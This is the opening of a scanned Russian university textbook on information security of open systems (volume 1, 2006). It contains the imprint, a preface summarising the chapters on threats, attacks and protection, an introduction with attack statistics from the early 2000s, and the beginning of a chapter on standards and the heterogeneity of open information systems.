Текст
                    УЧЕБНИК
ДЛЯ ВЫСШИХ УЧЕБНЫХ ЗАВЕДЕНИЙ
Информационная безопасность открытых систем Том 1 Угрозы, уязвимости, атаки и подходы к защите
|||гаипи1шш
С. В. Запечников, П.Т.№всш
X. И. Толстой, 10. Yuan
C. I. Заюншни, fl. f. Ммлкяавиав
I И. Tirana, ||. I. №ш
Информационная безопасность открытых систем
Том1
Угрозы, уязвимости, атаки и подходы к защите
Допущено Министерством образования и науки РФ в качестве учебника для студентов высших учебных заведений, обучающихся по специальности 075500 (090105) -«Комплексное обеспечение информационной безопасности автоматизированных систем»
Инга 1ЦНМШ1-1ШШ аи
УДК 004.732.056(075.8)
ББК 32.973.2-018.2я73
И74
Рецензенты: кафедра «Защита информации» Московского инженерно-физического института, зав. кафедрой канд. техн, наук, профессор А. А. Мтюк', доктор техн, наук, доцент С. Н. Смирнов, доктор военных наук, профессор В. П. Лось, доктор техн, наук, профессор А. Д. Иванников', доктор техн, наук, профессор П. Д. Зегжда, канд. техн. наук, доцент В. Г. Проскурин, канд. физ.-мат. наук, доцент А. В. Черемушкин. канд. техн, наук А. Б. Лось
И74 Информационная безопасность открытых систем: Учебник для вузов. В 2-х томах. Том 1 - Угрозы, уязвимости, атаки и подходы к защите / С. В. Запечников, Н. Г. Милославская, А. И. Толстой, Д. В. Ушаков. - М.: Горячая линия-Телеком, 2006. - 536 с.: ил.
ISBN 5-93517-291-1.
В учебнике рассматриваются основы информационной безопасности открытых систем на примере интранет. Вводятся основные определения и понятия. Описываются современные угрозы, уязвимости базовых составляющих интранет и удаленные сетевые атаки на них. Подробно рассматриваются концептуальные подходы к обеспечению информационной безопасности в открытых системах и вопросы разработки политики безопасности. Анализируются этапы создания комплексной системы обеспечения информационной безопасности для интранет и сервисы безопасности.
Для студентов высших учебных заведений и слушателей курсов повышения квалификации, обучающихся по специальности «Комплексное обеспечение информационной безопасности автоматизированных систем».
ББК 32.973.2-018.2я73
лр»с жздательства в Интернет www.techbook.ru
Учебное издание
Запечников Сергей Владимирович, Милославская Наталья Георгиевна, Толстой Александр Иванович, Ушаков Дмитрий Вячеславович
ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ ОТКРЫТЫХ СИСТЕМ
Учебник
Редактор И. В. Петров
Компьютерная верстка Н. В. Дмитриева
Корректор В. С. Кустов
Обложка художника В. Г. Ситникова
ДР № 071825 от 16 марта 1999 г.
Подписано в печать 25.12.05. Формат 70*100/16.
Усл. печ. л. 44,75. Тираж 2000 экз. Изд. № 6291
Отпечатано с готовых диапозитивов в ООО ПФ «Полиграфист».
160001, г. Вологда, ул. Челюскинцев, 3.	Заказ 2368.
ISBN 5-93517-291-1 (Т.1)	© С. В. Запечников, Н. Г. Милославская,
ISBN 5-93517-319-0	А. И. Толстой, Д. В.Ушаков, 2006
© Оформление издательства «Горячая линия-Телеком», 2006
ПРЕДИСЛОВИЕ
Основой для написания учебника послужили многолетний опыт преподавания технологий защиты в открытых сетях и ранее изданные учебные пособия лично авторов и их коллег, подробные описания, сделанные разработчиками данных технологий и средств защиты, а также многочисленные отечественные и зарубежные публикации по рассматриваемой тематике.
В настоящее время специалистов-профессионалов по различным аспектам защиты информации готовит ряд вузов России. Обучение происходит на специализированных факультетах, ознакомительных курсах или на курсах повышения квалификации. Но все эти учебные заведения испытывают острую нехватку узкопрофильной учебно-методической литературы, что в первую очередь сказывается на качестве обучения. Данный учебник предлагается в качестве базового для обучающихся (студентов, аспирантов и повышающих квалификацию специалистов) по группе специальностей "Информационная безопасность" (ИБ). Объектом профессиональной деятельности таких обучающихся являются открытые информационные системы (ИС) и методы и средства обеспечения их ИБ.
Основная задача, которую призван решить данный учебник, - это представить обучающимся систематизированный подход к проблеме обеспечения ИБ в открытых ИС на примере интранета, ознакомить их с характерными признаками сетевых атак и развитием сценариев нападений, показать главные причины и угрозы ИБ базовых составляющих интранета, изложить основные концептуальные подходы к правильной организации их защиты, а также научить квалифицированно выбирать, применять и самостоятельно разрабатывать реализующие эти подходы средства защиты. Поскольку число атак на интранет неуклонно растет, а создать полностью защищенную информационную среду очень сложно, нужны специализированные средства, предназначенные для осуществления постоянного предотвращения любых несанкционированных действий из внешнего и внутреннего мира, контроля за использованием этой среды и воплощения в жизнь принятой организацией политики защиты ее информационных и сетевых ресурсов. Специалист в области ИБ должен владеть глубокими теоретическими знаниями и практическими навыками во всех этих перечисленных и других не менее важных областях. На сегодняшний день учебной литературы по данным вопросам, к сожалению, пока крайне мало. Также не известны авторам и работы, дающие рекомендации по созданию учебно-лабораторной базы для широкого изучения проблем обеспечения ИБ в сетях.
Важно подчеркнуть, что для приступающих к ознакомлению с учебником есть определенные требования по предварительной подготовке. Например, следует знать протоколы Интернета; сервисы Интернета; основные принципы ИБ; технологии и средства их реализации; сетевые операционные системы; базы данных; компьютерные вирусы; языки программирования.
Учебник состоит из двух частей. В первой части представлено введение, пять глав и пять приложений к ним, а также список литературы.
Во введении обоснована актуальность темы учебника.
В гл. 1 рассматриваются основные элементы технологии открытых ИС, для чего вводятся основные понятия и определения, описывается концепция открытых систем н определяется роль стандартов в технологии открытых систем, а также приводятся основные группы стандартов и организации по стандартизации. Далее обсуждается совместимость открытых систем, которая проявляется в свойствах переносимости и способности к взаимодействию. Представляются базовая модель ИС и ее расширение
4
Информационная безопасность открытых систем
для взаимодействующих систем. Описывается системный подход к описанию функциональности на базе модельного представления ИС. Для свойств переносимости и способности к взаимодействию отдельно рассматриваются способы ее реализации и классификация сервисов платформы приложений по критериям переносимости. Также приводятся основные модели открытых систем: модель OSI и модель POSIX.
В гл. 2 интранет характеризуется как открытая система. Вводится понятие интранета, кратко указываются технологии создания интранета, рассматривается ее архитектура и описываются этапы создания. Более детально анализируются сетевая инфраструктура, информационное наполнение, приложения, система публикации, управление, функционирование, безопасность и персонал, сопровождающий работу интранета. После этого приводится эталонная модель интранета, состоящая из базовых механизмов и сервисов, системы управления и информационного наполнения. Обсуждаются вопросы стандартизации для интранета. Выделяются четыре вида интранета, дается определение экстранета и отдельно более детально рассматривается такой вид интранета, как порталы: приводится их классификация, логическая структура, компоненты, схема и сервисы. В конце главы особо отмечается специфика защиты ресурсов интранета.
Гл. 3 вводит понятийный аппарат, используемый при дальнейшем изложении, а именно определяются понятия угроз, уязвимостей, риска и атаки. Рассматриваются виды вторжений в открытые системы и типы нарушителей, совершающих их. Определяются виды организаций, сети которых наиболее уязвимы для атак злоумышленников. Подробно анализируются способствующие атакам причины, которые можно разделить на пять классов: уязвимость архитектуры клиент-сервер, слабости в системных утилитах, командах и сетевых сервисах, слабости в современных технологиях программирования; ошибки программного обеспечения (ПО) и распространяющиеся по открытым сетям сетевые вирусы. Отдельно описываются уязвимости рабочих станций и различных серверов (веб- и почтовых серверов, серверов систем управления базами данных, серверов систем электронного документооборота и т. п.), а также каналообразующего оборудования.
В гл. 4 подробно изучаются удаленные атаки на интранет, для чего определяются типовые атаки, такие, как анализ сетевого трафика, подмена доверенного объекта или субъекта, создание ложного объекта, атаки типа "отказ в обслуживании" и получение удаленного контроля над станцией в сети. Описываются некоторые типичные сценарии и этапы реализации атак и их уровни. После этого рассматриваются классические и современные методы взлома, используемые нападающими для проникновения в открытые системы. В качестве основных иллюстраций современных методов приведены перехват данных, мониторинг в графических интерфейсах, подмена системных утилит. Особое место занимают атаки с использованием сетевых протоколов -атаки на основе протокола 1СМР, SYN-бомбардировка, спуффинг, ложный ARP-сервер и перехват сеансов (hijacking).
Четырехуровневая модель ИС, на примере которой показывается, какие вопросы обеспечения ИБ решаются и на каком уровне, приводится в гл. 5. Показывается специфика защиты ресурсов открытых систем на примере интранета. Большое внимание уделено политике информационной безопасности для интранета - вводится определение, обосновывается необходимость ее выработки, приводятся основные требования к ней, кратко описывается ее жизненный цикл п содержание. Рассматриваются этапы создания и управления интегрированной системой обеспечения ИБ открытых систем. Приводятся принципы создания защищенных средств связи объектов в открытых системах и виды их сетевых топологий. Анализируются архитектуры1 безо
Предисловие
5
пасности открытых систем и предоставляемые в них сервисы безопасности. Кратко освещаются организационно-правовые методы защиты открытых систем и даются некоторые рекомендации по обеспечению ИБ в интранете.
В приложениях приводится информация справочного характера: средства построения интранета и порталов, перечень стандартов по защите информации в открытых системах, примеры типовых политик безопасности для интранета, современные зарубежные средства обеспечения ИБ в сетях.
После изучения данного учебника обучающиеся будут владеть основами проектирования, администрирования и обеспечения ИБ в открытых системах на примере интранета, а именно:
	знать основы организации и функционирования открытых систем, их стандарты, протоколы и предоставляемые сервисы;
	иметь представление об основных тенденциях и закономерностях развития открытых систем и средств их реализации;
	уметь определять и устранять основные угрозы ИБ для открытых систем;
	уметь строить модель нарушителя ИБ для открытых систем;
	уметь выявлять и устранять уязвимости в основных компонентах открытых систем;
	знать об основных методах и средствах реализации удаленных сетевых атак на открытые системы;
	уметь обнаруживать, прерывать и предотвращать удаленные сетевые атаки по их характерным признакам;
	знать организационно-правовые и нормативные основы защиты информации в открытых системах;
	уметь разрабатывать политику ИБ для открытых систем;
	знать основы построения комплексной системы защиты для ресурсов открытых систем;
	уметь проектировать и реализовывать комплексную систему обеспечения ИБ открытых систем;
	иметь представление об основных тенденциях и закономерностях развития средств и методов защиты информации в открытых системах;
	уметь тестировать и на основе результатов тестирования делать обоснованный выбор средств защиты для открытых систем;
	уметь осуществлять мониторинг сетевой безопасности, администрировать открытые системы.
Последующие главы, публикуемые во второй части учебника, посвящены подробному рассмотрению таких конкретных средств обеспечения ИБ в открытых системах, как системы аутентификации, межсетевые экраны, криптографические средства защиты, виртуальные частные и локальные сети, средства анализа защищенности, системы обнаружения вторжений и т. п.
Авторы признательны коллегам по факультету информационной безопасности МИФИ, а также всем рецензентам.
Авторы, естественно, не претендуют на исчерпывающее изложение всех названных в работе аспектов проблемы обеспечения ИБ в открытых системах, поэтому с благодарностью внимательно изучат и учтут критические замечания и предложения читателей при дальнейшей работе над учебником.
ВВЕДЕНИЕ
В различных сферах человеческой деятельности сегодня не обойтись без использования вычислительных сетей, представленных самыми различными видами и создающих глобальное информационное пространство, не имеющее границ. В первую очередь это корпоративная сеть организации, где сотрудник работает на постоянной или временной основе, например обрабатывая свою информацию или участвуя в видеоконференции. Нельзя не упомянуть и глобальную сеть Интернет, используемую им как в целях выполнения своих рабочих обязанностей, так и в свободное от работы время - узнать прогнозы погоды или подобрать удобный авиаперелет, купить книгу в магазине, не выходя из дома, посмотреть кино или послушать любимую музыку. Здесь же нужно обозначить и развитие систем, предоставляющих удаленный доступ к разнообразным информационным и сетевым ресурсам или удобные в использовании и недорогие средства связи.
Изначально порядок в таких системах гарантировался профессиональной этикой участников (как это было в Интернете). По мере их распространения не только в среде единомышленников, но и на международных просторах безответственного хулиганства становится все больше. Вместе с возможностями и удобствами сетей обнаружились серьезные проблемы и изъяны, связанные с их функционированием. Если взять Интернет, то эта сеть неизбежно движется в направлении возрастания хаоса: тысячи содержащих спэм-сообщений, миллионы вирусов, "червей" и "троянцев", ежесекундные атаки нарушителей "сетевого спокойствия". Средства массовой информации продолжают драматизировать и без того сложную обстановку, не переставая сообщать об устойчивом росте их числа. И во всем этом хаосе затеряны крупицы полезной, действительно нужной нам информации, для которой, собственно, эта глобальная сеть и создавалась. А найти такую информацию все труднее и труднее. Мало кто мог изначально предположить, что через Интернет любого из нас могут атаковать, похитить конфиденциальные данные или обокрасть. По словам специалистов Anti-Phishing Working Group (APWG), каждый день в среднем фиксируется пять-шесть кибератак, направленных на получение информации. И теперь мы отдаем себе отчет в том, что компьютерные преступления могут приобрести еще более изощренные формы. Если не предпринимать необходимых действий, то связанные различными технологиями сети умрут сами собой или опять превратятся в отдельные структуры - от них откажутся как бизнес, так и домашние пользователи.
Международная аналитическая компания Gartner Group (мировой лидер в области аналитики информационных технологий (ИТ) и телекоммуникаций) с вероятностью в 60 % прогнозировала, что вследствие неадекватности законов о киберпреступлениях и больших возможностей их совершения в период с 2002-го по 2004 г. рост киберпреступлений составит от 1 000 до 10 000 %.
В 2002 г. в мире было зафиксировано более 80 000 случаев нарушений систем защиты компьютерных сетей (атаки хакеров, попытки краж информации и т. д.) [http://www.washprofile.org]. Их число резко увеличилось по сравнению с 2001 г., когда было зафиксировано примерно 58 000 таких нарушений (в то время как в 2000 г. их было чуть более 20 000). Во второй половине 2002 г. число хакерских атак увеличилось на 32 % по сравнению с аналогичным периодом 2001 г. Однако информация о многих атаках не попадает в статистику. По другим данным (компании Symantec),
Введение
7
во второй половине 2002 г. впервые за историю Интернета общее число компьютерных атак несколько уменьшилось. Их зафиксировано на 6 % меньше, чем в первые шесть месяцев 2002 г.
В то же время финансовые компании столкнулись не только с ростом числа атак, но и с увеличением их опасности. Чаще всего мишенями злоумышленников становятся компьютерные сети на территории США - в 2002 г. было зафиксировано почти 27 000 компьютерных атак. Британские компьютерные сети подвергались атакам менее 5 000 раз, германские - около 4 600 раз.
По статистике американского Института компьютерной безопасности (Computer Security Institute), в 2002 г. около 90 % компаний США подверглись компьютерным атакам и примерно 80 % из них понесли ущерб в результате этих действий. Злоумышленники имели различные цели - от безобидных до крайне опасных, с большим материальным ущербом.
Проведенный в ходе совместного исследования Института компьютерной безопасности и ФБР (США) опрос небольшой выборки респондентов показал, что атака изнутри крупной компании приносит убытки в среднем на сумму 2,7 млн. долл., а средняя атака извне обходится в 57 тыс. долл. Это служит еще одним подтверждением того, что обеспечение безопасности в большой степени связано с человеческим фактором. Огромную важность имеют добросовестная кадровая политика и правильное распределение обязанностей во избежание ситуаций, когда все зависит от одного человека.
В то же время не следует забывать и о внешних угрозах, которые могут оказаться весьма существенными. По оценкам исследовательской фирмы Computer Economics Inc., хакерские атаки, компьютерные вирусы и прочие технические вмешательства привели в 2003 г. к убыткам в сумме 11,1 млрд, долл., что по сравнению с 1995 г. в 20 раз больше.
По заявлениям западных экспертов количество хакерских атак против России значительно выросло в 2002 г., что поставило нашу страну на десятую строчку наиболее атакуемых стран в одном из месяцев этого года, хотя до этого наша страна ни разу не появлялась даже в двадцатках наиболее атакуемых стран. Например, в ноябре 2002 г. количество зарегистрированных атак составило около 90 случаев. (Для сравнения характерное количество ежемесячных компьютерных атак для России редко превышает 30 случаев - так, в марте 2003 г. было 28 атак. Согласно статистическим данным в начале лета всегда происходит небольшой рост количества нарушений безопасности, который, вероятно, связан с сезоном отпусков и, как следствие, снижением внимания, уделяемого ИБ предприятия.) Западные эксперты объясняют это тем, что традиционно Россия является одной из наиболее защищенных в компьютерном плане стран и располагает огромным потенциалом для осуществления контратак вследствие существования в стране специалистов по обеспечению безопасности, с одной стороны, а также сильных хакерских группировок, с другой стороны. Наряду с этим огромное влияние в компьютерном мире нашей страны имеют различные государственные и военные организации, что также способствует усилению мер по обеспечению ИБ.
Эксперты считают, что многие проблемы возникают из-за пренебрежения элементарными мерами компьютерной безопасности. По подсчетам Symantec, новые программные продукты часто недостаточно защищены от возможных хакерских атак.
8
Информационная безопасность открытых систем
В 2002 г. в новом ПО было обнаружено на 81 % больше "дыр", чем в ПО, выпущенном в 2001 г.
Новые технологии также предоставляют хакерам возможности для атак. К примеру, компания Orthus, предоставляющая услуги компьютерной безопасности, обнаружила серьезные уязвимости в системах беспроводного доступа в Интернете (Wi-Fi). Почти 6 из каждых 10 компаний, использующих эту технологию, абсолютно беззащитны перед хакерами.
Ведущая компания по оказанию профессиональных услуг Ernst & Young в 2003 г. шестой раз подряд проводила исследование [http://www.ey.com/ru/ InfoSecurity Survey], цель которого заключалась в получении общей картины в области ИБ и изучении влияния ИБ на самые различные компании и отрасли экономики. Восемьдесят восемь процентов опрошенных представляли коммерческие организации, остальные - некоммерческие. Были опрошены 1 400 организаций - представителей 26 отраслей. В число респондентов из 66 стран входили руководящие сотрудники разных направлений, однако большинство из них (60 %) занимают должности директоров по ИС, директоров по ИБ и прочих руководителей служб ИТ. Можно отметить большое сходство полученных ответов в различных странах.
Исследование включало в себя 40 вопросов по всем аспектам ИБ. Вопросы были подобраны по темам: каково место службы ИБ в организационной структуре компании, каков порядок управления ею; каков ожидаемый уровень инвестиций в безопасность; насколько затраты в области ИБ соответствуют задачам бизнеса; на что расходуется основное количество средств; каким образом сведения об обязанностях в области безопасности доводятся до сотрудников; насколько респонденты уверены в службах ИБ третьих лиц и партнеров по бизнесу, а также насколько часто совет директоров или другой высший руководящий орган получает сведения или консультации по вопросам или происшествиям, связанным с ИБ.
Девяносто процентов организаций заявили, что вопросы ИБ имеют важное значение для достижения общих целей бизнеса.
Семьдесят восемь процентов организаций назвали минимизацию рисков в качестве ключевого фактора, влияющего на инвестиции в область ИБ.
Свыше 34 % организаций считают, что у них не все обстоит благополучно в плане способности определить, подвергаются ли их системы атаке в данный момент времени.
Свыше 33 % организаций заявили о своей неспособности реагировать на происшествия.
Лишь 34 % организаций отметили полное соблюдение действующих правил обеспечения безопасности.
Пятьдесят шесть процентов организаций указывали недостаток средств в качестве основного препятствия для эффективного обеспечения ИБ. На втором месте - низкая приоритетность вопросов ИБ при распределении ресурсов, что неудивительно, учитывая тяжелую экономическую ситуацию в большинстве стран в период проведения опроса.
Почти 60 % организаций заявили, что они практически никогда не рассчитывают на экономическую эффективность капиталовложений в сферу ИБ.
Двадцать семь процентов опрошенных указали "обработку результатов оценки систем ИБ" в первой тройке наиболее значимых факторов, рассматриваемых в их
Введение
9
компании при принятии решений по внедрению новых систем/программ в области ИБ.
Руководители отделов ИБ испытывают большие сложности при формулировании и обосновании своих запросов совету директоров. Это происходит из-за неспособности представить экономические выкладки или неумения четко разъяснять важность ИБ для бизнеса компании.
Очень немногие организации принимают во внимание широкий спектр факторов (возможности, угрозы и преимущества) при рассмотрении вопросов ИБ. В основном компании практикуют однобокие меры реагирования на уже случившиеся события вместо инициативного и комплексного подхода с учетом возможных рисков.
Компании не требуют от деловых партнеров внедрения достаточных стандартов безопасности, отсутствие которых может подвергнуть риску их собственную безопасность.
Главным фактором, вызывающим обеспокоенность в области ИБ, остается распространение компьютерных вирусов и червей, которое по-прежнему привлекает основное внимание СМИ и общественности. Однако директора по ИС и другие руководители служб ИТ начинают осознавать значение внутренних угроз, например нарушений со стороны штатных сотрудников, работающих с ИС.
Что же необходимо сделать организациям, чтобы исправить сложившуюся ситуацию реального мира, построенную из плохо сконфигурированных систем, дефектов в ПО, недовольных сотрудников и отягощенных заботами системных администраторов?
Во-первых, руководители отделов ИС и ИБ должны научиться четче разъяснять, насколько важна ИБ для бизнеса компании. Вопросы ИБ более не являются областью компетенции лишь компьютерных экспертов, к их решению необходимо привлекать высшее руководство компаний. Для эффективного обеспечения ИБ организациям необходимо увязать свои потребности в этой области с задачами бизнеса, проводить оценку экономической эффективности вложений в ИБ и стремиться внедрять комплексные решения в этой области.
Во-вторых, организациям необходимо подкрепить свои высказывания о важности защиты информационных активов путем инвестиций в область ИБ. Нередко такие действия проводятся по факту нарушения безопасности, либо в результате наблюдения за атакой на конкурента, либо в связи с предписаниями регулирующих органов. В долгосрочной перспективе точно и заранее спланированные инвестиции оказываются более экономичными, чем капиталовложения постфактум, которые нередко связаны с избыточными затратами при реагировании на происшествие.
В-третьих, многие руководящие сотрудники до сих пор беспокоятся не о тех вопросах - вроде вирусных атак и хакеров. Им стоит уделять больше внимания менее очевидным и не столь широко освещаемым угрозам, исходящим, например, со стороны недовольных сотрудников или бывших работников, сетевых подключений к деловым партнерам, надежность систем которых не подтверждена, хищений портативных и карманных компьютеров, а также незащищенных точек удаленного беспроводного доступа, создаваемых сотрудниками. Именно эти моменты могут не только привести к серьезным убыткам, но и нанести ущерб имени и репутации компании.
И наконец, Ernst & Young указывает и на недостаток внимания, уделяемого обучению специалистов по ИБ. Лишь 29 % организаций указали повышение информи
10	Информационная безопасность открытых систем
рованности и обучение сотрудников в качестве приоритетного направления инвестиций в сферу ИБ, по сравнению с 83 %, которые ставят на первое место в этой категории затраты на технологии. Тридцать пять процентов организаций заявили о существовании программ непрерывного обучения и повышения информированности сотрудников.
Подобную статистику подтверждают и аналитические исследования Gartner Group, с 80 %-ной вероятностью предсказавшей, что вплоть до 2003 г. будет существовать по крайней мере 20 %-ный разрыв в мировом масштабе между потребностью в опытных специалистах по защите информации и их наличием на рынке занятости.
Все это доказывает необходимость внимательного изучения всех вопросов, связанных с обеспечением ИБ. Руководство организаций, администраторы ИБ и пользователи должны знать об угрозах для их бизнеса, возможной уязвимости ресурсов, на которых он основывается, а также о технологиях и подходах к обеспечению его ИБ и, конечно же, системах и средствах, реализующих защиту. Все эти вопросы подробно рассматриваются в учебнике.
1. СТАНДАРТИЗАЦИЯ И МОДЕЛЬНОЕ ПРЕДСТАВЛЕНИЕ ОТКРЫТЫХ ИНФОРМАЦИОННЫХ СИСТЕМ
В главе рассматриваются основные элементы технологии открытых информационных систем, для чего вводятся основные понятия и определения, описывается концепция открытых систем и определяется роль стандартов в технологии открытых систем, а также приводятся основные группы стандартов и организации по стандартизации. Далее обсуждается совместимость открытых систем, которая проявляется в свойствах переносимости и способности к взаимодействию. Представляются базовая модель информационной системы и ее расширение для взаимодействующих систем.
Описывается системный подход к описанию функциональности на базе модельного представления информационных систем. Для свойств переносимости и способности к взаимодействию отдельно рассматриваются способы ее реализации и классификация сервисов платформы приложений по критериям переносимости. В заключение приводятся основные модели открытых систем: модель OSI и модель POSIX
Интенсивное развитие современных технологий обработки данных привело к появлению и развитию сложного комплекса научно-технических дисциплин, получившего название "информационные технологии" (ИТ). Создание и функционирование любой технологии компьютерной обработки данных подчиняется совокупности требований потребителя информации, а также техническим требованиям и возможностям. К первой группе относятся требования той предметной области, для которой предназначена технология, требования бизнеса, экономические условия и т. п. Среди технических условий особое значение имеют быстро расширяющиеся возможности компьютерного хранения и обработки информации, коммуникационные возможности, требования различных сфер деловой деятельности, условия разработки и эксплуатации ПО и пр., а также обеспечение совместной обработки данных различными компьютерными системами.
В течение нескольких десятилетий ИТ прошли ряд этапов, характеризующихся сменой концепций, принципов и взглядов на их назначение, функции, методы построения. Современный этап развития ИТ отмечен следующими важными обстоятельствами:
	переходом от централизованной к полностью распределенной модели обработки данных;
	значительным расширением сфер применения ИТ при одновременной универсализации функций, выполняемых вычислительными системами;
	потребностью сохранения существующих технологических решений при развертывании новых систем обработки данных (СОД) и обеспечения совместимости между ними в различных аспектах;
	высокой сложностью не только электронной техники и системного ПО, но и самой логической организации (структуры, отдельных компонентов и взаимосвязей между ними) систем обработки данных и приложений.
Создание и эксплуатация сложных СОД требует определенной научно-методической основы. В качестве такой основы на сегодняшний день выступает система международных стандартов и других координирующих документов, созданных специализированными международными организациями.
12
Информационная безопасность открытых систем
1.1. Основные элементы технологии открытых информационных систем
Методы и модели организации сложных компьютерных систем исторически развивались в русле двух основных течений. Во-первых, ведущие фирмы-производители оборудования, ПО и поставщики решений для систем обработки данных, ощущая неуклонное усложнение компьютерных систем, сами стремились сформулировать стратегические направления развития ИТ и следовать им в своей деятельности. Во-вторых, эта работа осуществлялась в рамках международных органов стандартизации, промышленных групп и консорциумов, различных международных объединений и союзов. Как правило, деятельность международных организаций строилась с учетом и на основании уже накопленного фирмами научного потенциала и созданных ими технологических решений. Документы международных организаций оформляли, обобщали и приводили к общему знаменателю мнения большей части заинтересованных фирм и промышленных групп.
На сегодняшний день основным законодательством в сфере ИТ является именно совокупность документов и стандартов международных организаций. В силу высокой сложности современных ИТ общепринятой мировой практикой является обращение к этим документам и использование их в качестве базы для развития и совершенствования любых новых технологий. Более того, в настоящее время стандарты играют роль не только нормативных или рекомендательных документов, но и в совокупности задают своеобразную философию современных ИТ. Стандарты, являясь результатом коллективной работы большого числа участников процесса стандартизации, предоставляют четкую научно-методическую основу для рассмотрения различных аспектов ИТ.
I.1.1. Основные понятия и определения
Практически любая крупная современная организация (предприятие, учреждение) независимо от профиля своей деятельности в той или иной мере осуществляет обработку информации, необходимой для функционирования этой организации, т. е. нуждается в информационном обеспечении своей деятельности. Под информационным обеспечением (ИО) деятельности предприятия, учреждения или другой организации понимается создание, организация и обеспечение функционирования такой системы сбора, хранения, обработки и выдачи информации, которая предоставляла бы всем подразделениям и должностным лицам организации всю необходимую им информацию в требуемое время, требуемого качества и при соблюдении всех устанавливаемых правил обращения с информацией [1].
В связи со все возрастающим объемом информации, подлежащей обработке, в большинстве случаев ИО деятельности предприятия осуществляется при помощи компьютерной ИС. Под (компьютерной) информационной системой понимается сложная система, включающая всю совокупность аппаратного, системного и прикладного ПО и методов их организации, которая обеспечивает информационную деятельность предприятия. Этот термин используется, когда компьютерная система рассматривается с точки зрения пользователя, потребителя предоставляемых ею услуг и возможностей [2-6].
1. Стандартизация и модельное представление открытых информационных систем
13
Термином система обработки данных (информации) (СОД) чаще всего обозначается сложная система, включающая технические средства преобразования, хранения и передачи информации (аппаратное и системное ПО) и методы их организации, которая обеспечивает поддержку прикладных программ (приложений) пользователей. Под прикладными программами (ПП) понимаются компьютерные программы, предназначенные для выполнения специфических задач пользователей. Термин "СОД", как правило, используется, когда компьютерная система рассматривается изнутри, с точки зрения конструктора, проектировщика, программиста [2-6]. Иными словами, под СОД понимается та техническая основа, на которой строится ИС. Чтобы различать отдельные средства вычислительной техники, входящие в сложную СОД, будем называть их вычислительными системами.
Таким образом, ИС предназначена для решения каких-либо конкретных прикладных задач предприятия или организации, т. е. обеспечивает поддержку информационной деятельности пользователей, а СОД предоставляет ей средства для решения этих задач, т. е. поддерживает приложения.
Часто используется также термин среда (среда ИТ, распределенная вычислительная среда, среда приложения, телекоммуникационная среда и т. п.) - это конкретное воплощение ИС или ее части, например прикладных программ, коммуникационной сети, в отдельно взятой вычислительной системе, на данном конкретном предприятии, в регионе и т. д. со всей совокупностью присущих ей качеств, особенностей, образуемых всеми используемыми методами и средствами обработки данных, и условий, в которых протекает процесс обработки информации [2, 4].
Рассмотрим характеристики типичной ИС достаточно крупной организации. Важнейшими из них являются следующие [5, 7].
Разнородность (гетерогенность). Сложность и специфичность задач, решаемых ИС организации, обширность и сложность структуры системы приводят к наличию в ней большого количества аппаратных и программных средств от различных производителей и поставщиков. Они, вероятно, не предназначены изначально к совместной работе друг с другом. Несовместимость аппаратного и программного обеспечения обусловлена в основном причинами исторического характера. Так, известно, что развитие СОД происходило несколькими самостоятельными путями [5]:
	суперкомпьютеры - многопроцессорные вычислительные комплексы очень высокой производительности, обладающие параллелизмом аппаратной архитектуры и требующие специального ПО, предназначенные, как правило, для решения специальных классов задач с очень интенсивными вычислениями (IBM SP1 и SP2, CRAY, NEC, Fujitsu, Hitachi, "Эльбрус" и др.);
	централизованные технологии (mainframe - мейнфрейм) - многопользовательские многозадачные вычислительные системы высокой производительности с очень развитым набором возможностей по обработке информации (например, системы IBM System 360, 370, S/390);
	Unix-системы - попытка достижения независимости ПП от аппаратного обеспечения (АО) вычислительной платформы;
	RISC-технологии (reduced instructions set computer) - попытка улучшить производительность, достижимую мейнфреймами, на системах более низкого уровня (например, архитектура POWER и основанные на ней системы RS/6000 фирмы IBM, архитектура SPARC фирмы Sun);
14
Информационная безопасность открытых систем
	системы среднего уровня (midrange systems) - попытка оптимизировать структуру системы к требованиям сред приложений среднего уровня, например для бизнеса, промышленных предприятий (архитектура VAX фирмы DEC, архитектура AS/400 фирмы IBM);
	персональные системы - попытка перенести традиционные технологии обработки данных, ориентированные на деловую деятельность, в повседневную практику индивидуальных пользователей (например, архитектуры 80x86, IA-64 фирмы Intel, серии процессоров Motorola 600x0, Compaq Alpha);
	карманные компьютеры и мобильное оборудование - расширение традиционных технологий обработки данных при помощи микропроцессорной техники на класс портативных вычислительных устройств и устройств связи, обладающих сравнительно малой вычислительной мощностью (карманные компьютеры, мобильные телефоны, интеллектуальные карты и др.).
Каждый из этих путей связан в историческом аспекте с теми или иными классами системного ПО. Для каждой из систем создан большой набор ПП. Эволюция систем обработки данных привела к тому, что потребитель может выбирать изделия из большого числа типов процессоров, архитектур, системного ПО.
СОД имеют тенденцию ассоциироваться с определенными конфигурационными решениями, т. е. способами, которыми ПП строят свое взаимодействие с терминалами, рабочими станциями и системными сервисами. Среди таких способов можно выделить, например, непрограммируемые терминалы, среды локальных сетей (Local Area Network, LAN), среды глобальных сетей (Wide Area Network, WAN), одно- или многоуровневые серверные среды, другие взаимосвязанные системы, в том числе среды со связью "точка-точка" [5].
Следует обратить внимание, что эти категории скорее представляют режимы работы ПП, чем определенные физические конфигурации оборудования. Одна и та же аппаратура может, например, функционировать как непрограммируемый терминал для одной ПП и предоставлять среду локальной сети для другой ПП.
Даже если организация обладает однородной средой, она вполне может столкнуться с гетерогенностью при объединении своей ИС с другими организациями при выходе во внешний мир.
Гетерогенность может принимать различные, формы:
	большое разнообразие техники, используемой на рабочих местах пользователей: рабочие станции, терминалы, персональные системы, мобильные пользователи и т. п.;
	различные аппаратные архитектуры и платформы;
	множество операционных систем (ОС);
	множество коммуникационных сетей и протоколов;
	многочисленные версии одного и того же аппаратного и программного обеспечения;
	множество поколений одних и тех же ПП.
Причины гетерогенности в среде ИТ также многообразны. Среди них можно выделить следующие.
	Экономические, финансовые или иные условия деятельности организации диктуют необходимость сохранения инвестиций, уже вложенных в свою ИС.
1. Стандартизация и модельное представление открытых информационных систем
15
	Со снижением стоимости вычислительных систем появилась возможность приобретать новые элементы СОД без учета существующих решений.
	Слияние организаций или поглощение одной организацией другой может привести к появлению в одной организации разнородной среды.
	С изменением нужд организации и развитием новых технологий оказывается, что ни одна фирма-производитель не может удовлетворить всех потребностей организации при сохранении приемлемой стоимости системы.
	В ряде случаев фирмы-производители патентуют, намеренно не разглашают или сильно ограничивают информацию о деталях устройства своего программного и аппаратного обеспечения. Это делает практически однозначным выбор той или иной вычислительной платформы.
	Не существует стандартов, препятствующих объединению разнородных сред в одно целое или делающих невозможным адаптацию систем различных фирм-производителей для совместной работы друг с другом.
